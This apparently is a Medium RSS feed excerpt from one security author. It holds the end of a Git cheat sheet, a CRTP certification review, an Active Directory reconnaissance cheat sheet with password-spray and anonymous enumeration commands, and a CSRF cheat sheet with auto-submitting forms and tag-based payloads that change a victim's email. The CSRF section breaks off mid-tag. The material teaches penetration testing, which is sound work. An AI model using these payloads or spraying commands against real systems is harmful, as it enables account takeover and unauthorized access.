module&quot;</pre><p>Now your feature/api-auth branch has moved forward, but main hasn’t changed.</p><h4>Merging: Bringing Changes Back Together</h4><p>Once your feature is complete and tested, you’ll want to bring it back into main.</p><p>To do this, you switch to main and run:</p><pre>git checkout main<br>git merge feature/api-auth</pre><p>Git will compare the <strong>common ancestor</strong> of the two branches, calculate the difference, and apply the changes.</p><p>If the two branches modified the same lines of code, you’ll get a <strong>merge conflict</strong> — which you’ll need to resolve manually.</p><h4>Merge Commit vs Fast-Forward</h4><p>There are two types of merges:</p><ul><li><strong>Fast-forward</strong>: If no new commits happened on main, Git just moves the main pointer forward to match the feature branch.</li><li><strong>Merge commit</strong>: If both branches diverged, Git creates a special commit with two parents to record the history of both branches.</li></ul><p>You can force a merge commit even when a fast-forward is possible:</p><pre>git merge --no-ff feature/api-auth</pre><p>This helps preserve a clear history of when features were integrated.</p><h4>Rebase (Alternative to Merge)</h4><p>Instead of merging, you can use rebase to “replay” your branch’s commits onto the tip of another branch. This creates a <strong>cleaner, linear history</strong>:</p><pre>git checkout feature/api-auth<br>git rebase main</pre><p>After rebasing, you can merge the feature into main with a fast-forward.</p><p>But beware: <strong>rebasing rewrites commit history</strong>, so never rebase public/shared branches unless you know what you’re doing.</p><h3>Git Cheat Sheet</h3><h4>Basic Setup</h4><pre>git config --global user.name &quot;Your Name&quot;       # Set your Git username<br>git config --global user.email &quot;you@example.com&quot; # Set your Git email<br>git config --global init.defaultBranch main     # Use &#39;main&#39; as the default branch</pre><h4>Working Directory &amp; Staging</h4><pre>git init                                         # Create a new local Git repo<br>git clone &lt;url&gt;                                  # Clone a remote repo to your machine<br>git status                                       # Show staged, unstaged, and untracked files<br>git add &lt;file&gt;                                   # Stage a file for commit<br>git add .                                        # Stage all changes<br>git restore &lt;file&gt;                               # Discard changes in working directory<br>git restore --staged &lt;file&gt;                      # Unstage a file</pre><h4>Commits</h4><pre>git commit -m &quot;Message&quot;                          # Create a commit with a message<br>git commit --amend                               # Modify the last commit<br>git log                                          # Show commit history<br>git log --oneline --graph                        # Compact history with branching graph</pre><h4>Branching</h4><pre>git branch                                       # List all branches<br>git branch &lt;name&gt;                                # Create a new branch<br>git checkout &lt;name&gt;                              # Switch to an existing branch<br>git checkout -b &lt;name&gt;                           # Create and switch to a new branch<br>git switch &lt;name&gt;                                # (Same as checkout; modern syntax)<br>git switch -c &lt;name&gt;                             # Create and switch (modern)</pre><h4>Merging &amp; Rebasing</h4><pre>git merge &lt;branch&gt;                               # Merge a branch into the current one<br>git merge --no-ff &lt;branch&gt;                       # Always create a merge commit<br>git rebase &lt;branch&gt;                              # Reapply commits on top of another branch<br>git rebase -i HEAD~3                             # Interactive rebase (squash, edit, reorder)</pre><h4>Conflicts &amp; Recovery</h4><pre>git status                                       # See which files have conflicts<br>git diff                                         # Show differences not staged<br>git diff --staged                                # Show differences in staged files<br>git reflog                                       # View history of HEAD changes (recover lost commits)<br>git reset --soft HEAD~1                          # Undo last commit, keep changes staged<br>git reset --hard HEAD~1                          # Undo last commit and discard changes</pre><h4>Remote Repositories</h4><pre>git remote -v                                    # List remote URLs<br>git remote add origin &lt;url&gt;                      # Link your repo to a remote<br>git push -u origin main                          # Push local branch to remote (first time)<br>git push                                         # Push local commits to remote<br>git pull                                         # Fetch and merge changes from remote<br>git fetch                                        # Fetch remote updates (no merge)</pre><h4>Stashing</h4><pre>git stash                                        # Save changes without committing<br>git stash pop                                    # Apply and remove last stash<br>git stash list                                   # Show saved stashes</pre><h4>Tags</h4><pre>git tag                                          # List tags<br>git tag -a v1.0 -m &quot;First release&quot;               # Create annotated tag<br>git push origin v1.0                             # Push a tag to remote</pre><h4>Inspection &amp; Internals</h4><pre>git cat-file -p &lt;hash&gt;                           # Show content of any Git object<br>git ls-tree &lt;commit_hash&gt;                        # Show tree (files/folders) at a commit<br>git show &lt;commit&gt;                                # Show a commit with diff</pre><h4>Security &amp; Signing</h4><pre>git config --global commit.gpgsign true          # Sign all commits with GPG by default<br>git commit -S -m &quot;Signed commit&quot;                 # Manually sign a commit</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6de248147d5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Certified Red Team Professional (CRTP) Review | By L1lith]]></title>
            <link>https://medium.com/@L1lith/certified-red-team-professional-crtp-review-by-l1lith-38f09a46b645?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/38f09a46b645</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[crtp-exam]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[altered-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Mon, 10 Mar 2025 10:46:37 GMT</pubDate>
            <atom:updated>2025-03-10T10:46:37.941Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*7oyde1Ado8hwENU1.png" /></figure><h3>What is CRTP?</h3><p>The <strong>Certified Red Team Professional (CRTP)</strong>, also known as <strong>‘Attacking and Defending Active Directory: Beginner’s Edition’</strong> in Altered Security, is a certification that focuses on <strong>Active Directory (AD) attacks</strong>. Unlike traditional penetration testing certifications that primarily target individual Windows machines, CRTP is designed to build a strong foundation for attacking <strong>domains and forests</strong>.</p><p>From my personal experience, <strong>CRTP was a solid introduction to Active Directory security</strong>. I wanted to strengthen my understanding of <strong>Active Directory attacks and defenses</strong>, and this course provided a structured and effective way to do so.</p><p>One thing I appreciated about CRTP was its <strong>clear and practical approach</strong> to AD exploitation. If you’ve primarily worked with standalone Windows machines, transitioning to <strong>domain-based attacks</strong> can feel overwhelming. This course helped bridge that gap by providing <strong>real-world attack simulations</strong> and focusing on the <strong>red team mindset</strong> necessary for navigating Active Directory environments effectively.</p><h3>CRTP Course Structure and Topics Covered</h3><p>The <strong>CRTP course</strong> is taught by <strong>Nikhil Mittal</strong>, the founder of <strong>Altered Security.</strong></p><p>CRTP is a <strong>beginner-friendly course</strong> — prior experience with <strong>Active Directory or PowerShell is not mandatory</strong>. Thanks to Nikhil’s <strong>clear and engaging teaching style</strong>, the concepts are presented in an <strong>easy-to-understand manner</strong>, making it accessible to newcomers.</p><h4>Key Topics Covered in the CRTP Course:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mgy9wl2XdgwS43O4wGIcEQ.png" /></figure><ul><li><strong>Domain Enumeration</strong>: Identifying users, groups, computers, and trust relationships within the domain using enumeration techniques.</li><li><strong>Privilege Escalation</strong>: Gaining higher privileges by exploiting misconfigurations, credential leaks, or service abuse within the domain.</li><li><strong>Lateral Movement</strong>: Moving across machines within the domain using compromised credentials and various authentication techniques.</li><li><strong>Persistence Mechanisms</strong>: Establishing long-term access to the environment using backdoors, service modifications, or credential injection.</li><li><strong>Trust Abuse and MS-SQL Exploitation</strong>: Exploiting Active Directory trust relationships and abusing SQL server misconfigurations for privilege escalation and lateral movement.</li><li><strong>Privilege Escalation Across Domains and Forests</strong>: Leveraging inter-domain and inter-forest trust relationships to escalate privileges beyond a single domain.</li><li><strong>Detection and Defense</strong>: Understanding monitoring techniques, logging mechanisms, and defensive strategies to detect and mitigate AD attacks.</li></ul><h3>Lab Experience</h3><p>CRTP provides an extensive <strong>lab environment</strong> designed for practical learning. The lab is <strong>accessible via VPN or browser</strong> and simulates a <strong>fully patched Windows infrastructure</strong> with <strong>multiple domains and forests</strong>. It comes pre-configured with all the <strong>necessary tools</strong>, so learners can immediately focus on executing attacks without worrying about setup. Additionally, the lab features <strong>40 flags to uncover</strong>, offering hands-on challenges that reinforce key concepts and techniques taught in the course.</p><h3>Learning Approach</h3><p>At first, my approach was simple: I watched all the course videos, thinking I would go through the learning objectives once I was finished. However, I quickly realized that this was not effective. The <strong>best way to go through CRTP</strong> — especially given that there are <strong>23 learning objectives</strong> — is to follow a structured approach:</p><ol><li><strong>Watch the corresponding video</strong> for each learning objective.</li><li><strong>Read the course module</strong> to reinforce key concepts.</li><li><strong>Take notes</strong> while watching the video and reading the module.</li><li><strong>Perform the learning objective immediately after</strong> finishing the theory.</li><li><strong>Take notes on the commands executed</strong>, including explanations of what each does.</li><li><strong>Take screenshots</strong> of key outputs and results.</li></ol><p>Following this approach made a <strong>huge difference</strong> and helped me <strong>retain information better</strong>. I completed my CRTP preparation in <strong>two weeks</strong>, and this structured approach ultimately helped me <strong>pass the certification</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fx0RxRV2N0mP_vU1amjmzg.png" /></figure><h3>Exam Day Tips</h3><p>Taking the CRTP exam requires both <strong>technical preparation and strategic time management</strong>. Here are some tips to help ensure success:</p><ul><li><strong>Take the exam when you feel fully prepared</strong> — don’t rush it. Make sure you’ve practiced all the techniques and understand the core concepts before scheduling.</li><li><strong>Download the required tools locally beforehand</strong> to avoid time wasted during the exam.</li><li><strong>Install BloodHound on your local machine</strong> in case you need to analyze graphs and queries efficiently.</li><li><strong>Transferring tools</strong>: You can drag and drop tools into the exam lab, or set up a file transfer method such HFS, or a Python HTTP server. Only upload the essentials to avoid distractions.</li><li><strong>Expect 5 target servers to compromise which are spread across domains and have different configurations and applications running on them</strong>. Keeping track of your attack path is crucial.</li><li><strong>Use a structured note-taking approach</strong>. I personally used <strong>Obsidian</strong> to log commands and take screenshots in real-time, ensuring I didn’t lose track of the steps taken.</li><li><strong>Document everything carefully</strong>. The exam requires a <strong>penetration testing-style report</strong> that includes: <strong><em>Executive Summary, Technical Findings, Step-by-step exploitation details, Mitigation recommendations for each attack vector…</em></strong></li><li><strong>Time Management</strong>: The exam duration is 24 hours, with an additional 48 hours to submit the report. <strong>Allocate time wisely</strong> between exploitation and documentation.</li><li><strong>Take screenshots of key findings</strong>. If a machine is reset or you lose access, screenshots will serve as proof.</li><li><strong>Be flexible with techniques</strong>. If a method doesn’t work, don’t force it — try alternative tools or different approaches beyond what was covered in the course.</li><li><strong>Get enough rest before the exam</strong>. A clear mind is essential for problem-solving under pressure.</li><li><strong>Join the Altered Security Discord</strong>. The community often provides useful insights and can help clarify doubts before your exam day.</li></ul><h3>Conclusion</h3><p>The <strong>CRTP certification</strong> is an excellent entry point into <strong>Active Directory security</strong>. It provides a structured learning experience with a hands-on lab that closely mimics real-world enterprise environments. By working through <strong>practical attack scenarios</strong>, students not only learn <strong>red teaming techniques</strong> but also gain insights into <strong>detection and defense mechanisms</strong>.</p><p>This certification is highly recommended for <strong>aspiring red teamers, penetration testers, and security professionals</strong> looking to develop a strong foundation in <strong>Active Directory exploitation</strong>. With the right preparation, strategic time management, and a methodical approach to learning, CRTP can be an incredibly valuable addition to your skill set.</p><p>If you’re ready to take on the challenge, <strong>approach it with patience, persistence, and a hacker’s mindset</strong> — the rewards are well worth it.</p><p>👋😃✨🍀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38f09a46b645" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Penetration Testing Cheat Sheet — PART]]></title>
            <link>https://medium.com/@L1lith/active-directory-penetration-testing-cheat-sheet-part-7e7339afb027?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e7339afb027</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Sun, 20 Oct 2024 16:02:04 GMT</pubDate>
            <atom:updated>2024-10-20T16:02:04.859Z</atom:updated>
            <content:encoded><![CDATA[<h3>Active Directory Penetration Testing Cheat Sheet — PART1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rOqNH4ZxADDpWiyo.jpg" /></figure><h3>Network Recon</h3><h4>Nmap</h4><p><strong>Basic network scan (discover live hosts):</strong></p><pre>nmap -sn &lt;target_ip_range&gt;</pre><p><strong>Service version detection:</strong></p><pre>nmap -sV &lt;target_ip&gt;</pre><p><strong>Comprehensive scan (OS, services, and scripts):</strong></p><pre>nmap -A &lt;target_ip&gt;</pre><p><strong>Active Directory-specific port scan (LDAP, Kerberos, SMB):</strong></p><pre>nmap -p 53,88,135,139,389,445,464,593,636,3268,3269 &lt;target_ip&gt;</pre><p><strong>Detect SMB services and possible vulnerabilities:</strong></p><pre>nmap --script smb-enum-shares,smb-enum-users -p 139,445 &lt;target_ip&gt;</pre><p><strong>Ping scan (discover live hosts): </strong>Scans the network for live hosts using ping requests.</p><pre>nmap -sP -p &lt;ip_range&gt;</pre><p><strong>-sP</strong>: Performs a ping scan, which checks whether hosts are online by sending ICMP echo requests. It doesn&#39;t scan for open ports.</p><p><strong>Quick Scan (Top 50 ports):</strong></p><pre>nmap -PN -sV --top-ports 50 --open &lt;ip&gt;</pre><ul><li><strong>-PN</strong>: Skips ping discovery and treats all hosts as up. Useful if ping is blocked by firewalls.</li><li><strong>-sV</strong>: Enables version detection, attempting to determine the service version running on open ports.</li><li><strong>--top-ports 50</strong>: Scans the top 50 most commonly used ports.</li><li><strong>--open</strong>: Shows only open ports, filtering out closed or filtered ones.</li></ul><p><strong>SMB Vulnerability Scan (Specific ports 139 and 445):</strong></p><pre>nmap -PN --script smb-vuln* -p 139,445 &lt;ip&gt;</pre><p><strong>--script smb-vuln*</strong>: This instructs Nmap to run all scripts starting with smb-vuln. These scripts check for SMB-specific vulnerabilities, like MS17-010 (EternalBlue).</p><p><strong>Classic Scan (Default scripts and version detection):</strong></p><pre>nmap -PN -sC -sV &lt;ip&gt;</pre><ul><li><strong>-sC</strong>: Runs a collection of default Nmap scripts for further information gathering, such as checking for basic vulnerabilities.</li><li><strong>-sV</strong>: Enables service version detection.</li></ul><p><strong>Full Scan (All ports):</strong></p><pre>nmap -PN -sC -sV -p- &lt;ip&gt;</pre><p><strong>UDP Scan (Scan for open UDP ports):</strong></p><pre>nmap -sU -sC -sV &lt;ip&gt;</pre><p><strong>Nmap for Domain Discovery:</strong></p><p>You can use <strong>Nmap</strong> to scan the network and identify domain controllers or systems that may reveal domain names via services like Kerberos or LDAP:</p><pre>nmap -p 88,389 --script=ldap-rootdse,smb-os-discovery &lt;target&gt;</pre><p>This Nmap command targets common ports for Kerberos (88) and LDAP (389) and uses scripts to pull domain information from LDAP directory services or SMB responses.</p><h4><strong>CME </strong>(CrackMapExec)</h4><p>Reconnaissance with <strong>CME </strong>is a crucial step in Active Directory pentesting because it provides detailed information about the network and SMB hosts, without requiring credentials.</p><ul><li><strong>SMB Enumeration</strong>: CME is excellent for enumerating SMB services, which are commonly used for file sharing and printing in Windows environments, especially in AD networks.</li><li><strong>Service Scanning</strong>: It allows you to enumerate services running on machines without triggering too many alarms, helping to discover potential weaknesses or misconfigurations.</li><li><strong>No Credentials Needed</strong>: Even without valid credentials, CME can gather useful information like open SMB shares, domain users, and their associated policies.</li><li><strong>Password Spray</strong>: CME can be used to perform password spraying attacks on SMB, checking for weak or default passwords across the network in a stealthy manner.</li></ul><p><strong>Enumerate SMB Hosts:</strong></p><pre>cme smb &lt;ip_range&gt;</pre><p>This command scans the specified IP range for SMB hosts, checking if the SMB protocol is available and providing basic information about the systems.</p><p><strong>Get Domain Info:</strong></p><pre>cme smb &lt;ip_range&gt; -d &lt;domain&gt;</pre><p>This command retrieves domain information from any SMB host found within the IP range, such as the domain name, domain controllers, and related policies.</p><p><strong>Enumerate SMB Shares:</strong></p><pre>cme smb &lt;ip_range&gt; --shares</pre><p>This command lists all accessible SMB shares on hosts within the specified IP range. Even without credentials, it can reveal misconfigured or publicly available shares.</p><h4>Nslookup</h4><p>You can use the <strong>nslookup</strong> command to query DNS for <strong>SRV records</strong>, which point to the Domain Controllers of a specific domain</p><p>Domain Controllers register SRV (Service) records in DNS under the _msdcs subdomain, and you can query these records to find the Domain Controller.</p><pre>nslookup -type=srv _ldap._tcp.dc._msdcs.&lt;domain&gt;</pre><h4>Configuring /etc/hosts for DNS Resolution</h4><p>First, you need to ensure that your Linux machine can resolve the hostnames of the AD domain controllers and servers to their respective IP addresses by modifying the /etc/hosts file.</p><pre>&lt;ip_dc_1&gt; &lt;domain&gt; &lt;dc_1_fqdn&gt; &lt;dc_1_short_name&gt;<br>&lt;ip_dc_2&gt; &lt;domain&gt; &lt;dc_2_fqdn&gt; &lt;dc_2_short_name&gt;<br>&lt;ip_server&gt; &lt;subdomain&gt; &lt;server_fqdn&gt; &lt;server_short_name&gt;</pre><p><strong>Why this matters</strong>: Proper DNS resolution is critical for Kerberos to function. You need to ensure that the domain controller and other important servers are reachable via their FQDN and short names.</p><h4>Installing the Kerberos Client (krb5-user)</h4><p>Next, install the <strong>Kerberos client</strong> on your Linux machine:</p><pre>sudo apt install krb5-user</pre><p><strong>Why this matters</strong>: The Kerberos client allows your machine to interact with the <strong>Key Distribution Center (KDC)</strong> in the Active Directory environment, making it possible to request <strong>TGTs (Ticket Granting Tickets)</strong> for authentication.</p><h4><strong>Configuring </strong><strong>/etc/krb5.conf for Kerberos</strong></h4><p>After installing the Kerberos client, you need to configure the /etc/krb5.conf file. This file tells your system how to interact with the Kerberos realms and KDCs.</p><pre>[libdefaults]<br>  default_realm = &lt;domain&gt;<br>  kdc_timesync = 1<br>  ccache_type = 4<br>  forwardable = true<br>  proxiable = true<br>  fcc-mit-ticketflags = true<br><br>[realms]<br>  &lt;subdomain&gt; = {<br>      kdc = &lt;kdc_fqdn&gt;<br>      admin_server = &lt;kdc_fqdn&gt;<br>  }<br>  &lt;domain&gt; = {<br>      kdc = &lt;dc_fqdn&gt;<br>      admin_server = &lt;dc_fqdn&gt;<br>  }</pre><ul><li><strong>Why this matters</strong>: This configuration tells your Linux system which realm to use by default and where to find the <strong>KDCs (Key Distribution Centers)</strong> for each realm. It’s essential for Kerberos-based authentication.</li></ul><h4>Finding Users</h4><p><strong>Enumerate Users using CME:</strong></p><pre>cme smb &lt;ip_range&gt; --users</pre><p>Enumerates domain users visible to SMB services on hosts within the IP range. This is useful to gather information about user accounts, which can be targeted for credential attacks.</p><p><strong>Password Policy:</strong></p><p>Knowing the password policy helps you assess the <strong>strength of the passwords</strong> and how often users need to change them. If password policies are weak (e.g., minimum password length of 5 with no complexity requirements), then <strong>password attacks</strong> such as <strong>brute force</strong> or <strong>dictionary attacks</strong> are more likely to succeed.</p><p><strong>Retrieving the password policy before attempting brute force attacks</strong> is important because it informs you how strict the policy is and helps you optimize your attack strategies.</p><pre>cme smb &lt;ip&gt; --pass-pol</pre><p><strong>Password Spray (Try Common Passwords):</strong></p><pre>cme smb &lt;ip_range&gt; -u &lt;username&gt; -p &lt;password&gt;</pre><p>This command performs a password spray attack, trying a specific username and password combination across multiple hosts. It’s a common method for finding weak or default credentials.</p><h4>Enum4linux:</h4><p>Enum4linux is a powerful <strong>Linux-based tool</strong> used for <strong>enumerating information</strong> from Windows systems and Active Directory (AD) environments over SMB (Server Message Block) protocol. It combines various tools such as <strong>rpcclient</strong>, <strong>net</strong>, <strong>smbclient</strong>, and <strong>nmblookup</strong> to extract data from AD.</p><p>Enum4linux works by sending SMB or NetBIOS queries to a Windows machine (often a Domain Controller). It retrieves and parses the response to provide structured information about the domain.</p><p><strong>Domain Users:</strong></p><p>It extracts a <strong>list of domain users</strong> including their security identifiers (SIDs) and descriptions. This is crucial in identifying potential targets for password attacks or privilege escalation.</p><pre>enum4linux -U &lt;ip&gt;</pre><p><strong>Group Memberships:</strong></p><p>Enum4linux can enumerate <strong>groups and their members</strong>, allowing you to identify important groups like <strong>Domain Admins</strong> or <strong>Group Policy Creators</strong>. Users in these groups often have elevated privileges.</p><pre>enum4linux -G &lt;ip&gt;</pre><p><strong>Password Policy:</strong></p><p>You can retrieve the <strong>password policy</strong> (e.g., minimum password length, complexity requirements) for the domain.</p><pre>enum4linux -P &lt;ip&gt;</pre><p><strong>Shares:</strong></p><p>Enum4linux can enumerate <strong>shared directories</strong> and resources available over SMB. These shares could contain sensitive files or information accessible to certain users.</p><pre>enum4linux -S &lt;ip&gt;</pre><p><strong>Operating System and Domain Information:</strong></p><p>Enum4linux also extracts details about the <strong>operating system</strong> version, <strong>NetBIOS names</strong>, and the <strong>domain</strong> name. These details help you understand the environment you’re targeting.</p><pre>enum4linux -o &lt;ip&gt;</pre><p><strong>Printer and Services Information:</strong></p><p>Enum4linux can provide information about <strong>printers</strong> and other services running on the network, which could be useful for <strong>lateral movement</strong> or <strong>pivoting</strong>.</p><pre>enum4linux -r &lt;ip&gt;</pre><h4>RPCClient</h4><p>rpcclient is a <strong>command-line tool</strong> that allows you to interact with Windows <strong>Remote Procedure Call (RPC) services</strong>. rpcclient can be used to perform <strong>anonymous queries</strong> and gather detailed information from a Windows system or domain controller.</p><p>If anonymous logins are allowed or the user provides no credentials (e.g., <strong>-N option</strong>), rpcclient can still query the domain and retrieve information such as users and groups. This makes it a powerful tool during the <strong>reconnaissance phase</strong> of a penetration test.</p><pre>rpcclient -U &quot;&quot; &lt;ip&gt; -N</pre><p><strong>N:</strong> This option specifies that <strong>no password</strong> should be used, which, combined with the empty username, attempts an <strong>anonymous connection</strong>.</p><p>In this case, rpcclient attempts to connect to the domain controller and extract information <strong>anonymously</strong>. You can retrieve details about:</p><ul><li><strong>Users</strong></li><li><strong>Groups</strong></li><li><strong>Domain Policies</strong></li><li><strong>Shares</strong></li><li><strong>Workstation information</strong></li></ul><p><strong>— Enumerating Domain Users:</strong> After connecting anonymously, you can list domain users with:</p><pre>enumdomusers</pre><p>This retrieves a list of <strong>users</strong> from the domain, along with their <strong>SIDs (Security Identifiers)</strong>. Similar to enum4linux, this gives you an overview of who is in the domain, helping you target potential accounts for further attacks.</p><p><strong>— Enumerating Domain Groups:</strong> You can list <strong>domain groups</strong> and their members using:</p><pre>enumdomgroups</pre><p>This command provides an overview of the AD groups and which <strong>users</strong> belong to them. Critical groups such as <strong>Domain Admins</strong> or <strong>Group Policy Creator Owners</strong> will be of particular interest as they contain high-privilege users.</p><p>— <strong>Retrieve Password Policy:</strong> You can extract the <strong>password policy</strong> with:</p><pre>getdompwinfo</pre><p>This will show the <strong>minimum password length</strong>, <strong>password history</strong>, <strong>lockout threshold</strong>, and other rules regarding password complexity and change frequency.</p><p>— <strong>Listing Shares:</strong> To identify <strong>shared directories</strong> or files available via SMB:</p><pre>netshareenum</pre><p>— <strong>Workstation Information:</strong> Retrieve workstation or domain controller information using:</p><pre>srvinfo</pre><p>This provides basic information about the server, such as its operating system version, domain name, and more. Understanding this helps in determining the <strong>attack surface</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e7339afb027" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-site request forgery (CSRF) Cheat Sheet]]></title>
            <link>https://medium.com/@L1lith/cross-site-request-forgery-csrf-cheat-sheet-a4b3d07ed860?source=rss-afc36996bc63------2</link>
            <guid isPermaLink="false">https://medium.com/p/a4b3d07ed860</guid>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <category><![CDATA[csrf-protection]]></category>
            <category><![CDATA[csrf-bypass]]></category>
            <category><![CDATA[csrf-token]]></category>
            <dc:creator><![CDATA[L1lith]]></dc:creator>
            <pubDate>Tue, 14 May 2024 12:11:38 GMT</pubDate>
            <atom:updated>2024-05-14T12:11:38.236Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is CSRF?</h3><p>Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to execute unauthorized actions on behalf of a user without their knowledge or consent. CSRF attacks exploit the trust that a website has in a user’s browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uLpBCdOYjEzoim_7sp6BKw.png" /></figure><h3>Example</h3><p>You’re logged into your favorite online banking website, checking your account balance or transferring funds. Meanwhile, you unknowingly visit another website that has been compromised by an attacker. This malicious site contains hidden code that sends requests to the banking website, using your logged-in session credentials. Since the banking website trusts requests coming from your browser, it processes these unauthorized actions as if they were initiated by you.</p><h3>Attack Vectors</h3><h4>GET-Based CSRF</h4><p>One common way CSRF attacks can occur is through forms that use the HTTP GET method to perform sensitive actions on a website. In these cases, an attacker can craft a malicious URL containing the action to be performed and trick a user into accessing it.</p><p>Let’s consider a scenario where a website allows users to change their email address by submitting a form with the GET method. Here’s an example of such a form:</p><pre>&lt;form action=&quot;http://example.com/change-email&quot; method=&quot;GET&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; placeholder=&quot;example@example.com&quot; required&gt;<br>  &lt;input type=&quot;submit&quot; value=&quot;Change Email&quot;&gt;<br>&lt;/form&gt;</pre><p>In this form, the user’s current email address is hidden in a form field named “old”, and the user can input their desired new email address in the field named “new”. When submitted, this form sends a GET request to the URL http://example.com/change-email, including the old and new email addresses as parameters.</p><p>Now, let’s demonstrate how an attacker can exploit this form using an HTML &lt;img&gt; tag:</p><pre>&lt;img src=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot; alt=&quot;CSRF Attack&quot;&gt;</pre><p>By embedding this &lt;img&gt; tag in a webpage that a victim visits (e.g., through a phishing email or a compromised website), the attacker can trigger a GET request to change the victim&#39;s email address without their consent. The browser will automatically load the image URL, causing the CSRF attack to execute in the background.</p><p>While the &lt;img&gt; tag is a commonly known method for executing CSRF attacks using the GET method, it&#39;s essential to understand that it&#39;s not the sole avenue for exploitation. Attackers can leverage various HTML tags to achieve similar ends, exploiting web applications that use the GET method to perform critical actions.</p><p><strong>Tags that don’t require user interaction:</strong></p><pre>&lt;!-- script --&gt;<br>&lt;script src=&quot;http://example.com/csrf-script.js&quot;&gt;&lt;/script&gt;<br><br>&lt;!-- link --&gt;<br>&lt;link rel=&quot;stylesheet&quot; href=&quot;http://example.com/csrf-styles.css&quot;&gt;<br><br>&lt;!-- iframe --&gt;<br>&lt;iframe src=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot;&gt;&lt;/iframe&gt;<br><br>&lt;!-- object --&gt;<br>&lt;object data=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot;&gt;&lt;/object&gt;<br><br>&lt;!-- embed --&gt;<br>&lt;embed src=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot;&gt;<br><br>&lt;!-- audio --&gt;<br>&lt;audio src=&quot;http://example.com/malicious-audio-file.mp3&quot; controls autoplay loop&gt;&lt;/audio&gt;<br><br>&lt;!-- video --&gt;<br>&lt;video src=&quot;http://example.com/malicious-video-file.mp4&quot; controls autoplay loop&gt;&lt;/video&gt;<br><br>&lt;!-- input (hidden) --&gt;<br>&lt;input type=&quot;hidden&quot; name=&quot;email&quot; value=&quot;attacker@example.com&quot;&gt;<br><br>&lt;!-- source --&gt;<br>&lt;source src=&quot;http://example.com/malicious-media-file.mp4&quot; type=&quot;video/mp4&quot;&gt;<br><br>&lt;!-- style --&gt;<br>&lt;style&gt;<br>  body { background-image: url(https://medium.com/&#39;http://example.com/malicious-background-image.jpg&#39;); }<br>&lt;/style&gt;</pre><p><strong>Tags that require user interaction:</strong></p><pre>&lt;!-- form --&gt;<br>&lt;form action=&quot;http://example.com/change-email?old=victim@example.com&amp;new=hacker@example.com&quot; method=&quot;GET&quot;&gt;<br>  &lt;input type=&quot;submit&quot; value=&quot;Click here&quot;&gt;<br>&lt;/form&gt;<br><br>&lt;!-- button --&gt; <br>&lt;button formaction=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot;&gt;<br>  Click here<br>&lt;/button&gt;<br><br>&lt;!-- a --&gt;<br>&lt;a href=&quot;http://example.com/change-email?old=victim@example.com&amp;new=attacker@example.com&quot;&gt;<br>  Click here<br>&lt;/a&gt;</pre><h4>POST-Based CSRF</h4><p>We’ll assume a scenario where a user can change their email by submitting a form using the POST method.</p><pre>&lt;form id=&quot;email-form&quot; action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; placeholder=&quot;example@example.com&quot; required&gt;<br>  &lt;input type=&quot;submit&quot; value=&quot;Change Email&quot;&gt;<br>&lt;/form&gt;</pre><p>An attacker can exploit an <strong>auto-submitting form</strong> to execute a CSRF attack:</p><pre><br>&lt;form id=&quot;csrf-form&quot; action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>  &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>  &lt;input type=&quot;email&quot; name=&quot;new&quot; value=&quot;attacker@example.com&quot; style=&quot;display:none&quot;&gt;<br>&lt;/form&gt;<br><br>&lt;script&gt;<br>  // Automatically submit the form when the page is loaded<br>  document.addEventListener(&#39;DOMContentLoaded&#39;, function() {<br>    document.getElementById(&#39;csrf-form&#39;).submit();<br>  });<br>&lt;/script&gt;</pre><p>or by using:</p><pre>&lt;form action=&quot;http://example.com/change-email&quot; method=&quot;POST&quot;&gt;<br>    &lt;input type=&quot;hidden&quot; name=&quot;old&quot; value=&quot;victim@example.com&quot;&gt;<br>    &lt;input type=&quot;email&quot; name=&quot;new&quot; value=&quot;attacker@example.com&quot;&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>    document.forms[0].submit();<br>&lt;/script&gt;</pre><p>or by using <strong>event handlers</strong> like onload and onerror :</p><pre>&lt;form id=&quot;csrf-form&quot; 